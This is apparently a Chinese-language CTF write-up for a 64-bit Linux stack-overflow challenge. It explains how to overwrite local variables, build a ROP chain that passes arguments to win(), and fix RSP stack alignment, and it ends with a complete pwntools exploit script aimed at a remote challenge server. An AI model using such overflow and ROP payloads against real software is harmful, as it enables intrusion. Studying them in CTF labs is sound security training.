通过分析vuln()可以发现题目有明显的栈溢出漏洞,并且设置了if判断语句,可以通过栈溢出和变量覆盖绕过

分析win(),可以发现该函数也设置了相同的语句,不过通过栈溢出跳转到该函数时是直接判断,没有让用户输入,所以仅可设置一个payload。因为该题是64位下Linux可执行文件,所以在传递参数时,需要用寄存器传参

payload = b"a"*(0x30 - 0x8)
payload = b"a"*(0x30 - 0x8)
payload += p32(500)
payload += p32(400)
payload += b"a"*8
payload += p64(ret)
payload += p64(rdi)
payload += p64(0xDEADBEEF)
payload += p64(rsi)
payload += p64(0x1337)
payload += p64(0)
payload += p64(win)
前半段是正常的栈溢出ROP,但是在填充ret跳转win()时,发现程序并输出flag。
通过动态调试发现,在填充了ret地址后,红圈部分的提示RSP寄存器并没有16字节对齐。

查看RSP的对齐情况可以看到当前是8字节对齐,并非16字节

将payload的p64(ret)去掉后再次动调,可以看到,完成了16字节对齐,并且程序准备打印flag。

Exploit:
from pwn import *
ip = "49.232.142.230"
port = 18253
p = remote(ip, port)
# p = process("./pwn")
elf = ELF("./pwn")
rop = ROP(elf)
win = elf.symbols["win"]
ret = rop.find_gadget(["ret"])[0]
rdi = rop.find_gadget(["pop rdi", "ret"])[0]
rsi = rop.find_gadget(["pop rsi", "pop r15", "ret"])[0]
p.recvuntil(b"data: ")
# p.recvline()
payload = b"a"*(0x30 - 0x8)
payload += p32(500)
payload += p32(400)
payload += b"a"*8
# payload += p64(0)
# payload += p64(ret)
# payload += p64(ret)
# payload += p64(win)
payload += p64(rdi)
payload += p64(0xDEADBEEF)
payload += p64(rsi)
payload += p64(0x1337)
payload += p64(0)
payload += p64(win)
# gdb.attach(p)
# pause()
p.sendline(payload)
p.interactive()